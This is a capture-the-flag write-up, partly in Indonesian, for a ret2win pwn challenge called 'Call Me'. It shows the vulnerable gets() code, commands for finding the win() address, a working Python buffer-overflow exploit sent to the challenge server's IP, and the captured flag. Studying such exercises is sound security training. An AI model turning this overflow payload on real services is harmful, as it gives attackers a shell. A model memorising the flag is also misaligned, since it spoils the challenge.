55 lines
1.2 KiB
Markdown
55 lines
1.2 KiB
Markdown
|
---
|
||
|
|
title: "Call Me — ret2win"
|
||
|
|
event: "GEMASTIK 2026 Warmup"
|
||
|
|
challenge: "Call Me"
|
||
|
|
category: "pwn"
|
||
|
|
points: 500
|
||
|
|
difficulty: "easy"
|
||
|
|
flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
|
||
|
|
---
|
||
|
|
|
||
|
|
# Call Me (500 pts) — Pwn / ret2win
|
||
|
|
|
||
|
|
**Server:** `nc 15.232.89.109 9002`
|
||
|
|
|
||
|
|
**Source (`chall.c`):**
|
||
|
|
|
||
|
|
```c
|
||
|
|
void win() { system("/bin/sh"); } // flag printed inside
|
||
|
|
|
||
|
|
char buf[32];
|
||
|
|
gets(buf); // <-- overflow
|
||
|
|
```
|
||
|
|
|
||
|
|
## Eksploitasi
|
||
|
|
|
||
|
|
1. Compile lokal untuk dapatkan alamat `win()`:
|
||
|
|
```bash
|
||
|
|
gcc -fno-stack-protector -no-pie -o ch10 chall.c
|
||
|
|
nm ch10 | grep win
|
||
|
|
# 00000000004011f6 T win
|
||
|
|
```
|
||
|
|
|
||
|
|
2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
|
||
|
|
Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
|
||
|
|
|
||
|
|
```python
|
||
|
|
import socket, time, struct
|
||
|
|
|
||
|
|
s = socket.socket()
|
||
|
|
s.connect(("15.232.89.109", 9002))
|
||
|
|
time.sleep(0.5)
|
||
|
|
|
||
|
|
RET_GADGET = 0x401016 # alignment
|
||
|
|
WIN_ADDR = 0x4011f6
|
||
|
|
|
||
|
|
payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
|
||
|
|
s.sendall(payload + b"\n")
|
||
|
|
time.sleep(1.5)
|
||
|
|
print(s.recv(4096).decode())
|
||
|
|
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
|
||
|
|
```
|
||
|
|
|
||
|
|
## Flag
|
||
|
|
|
||
|
|
`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
|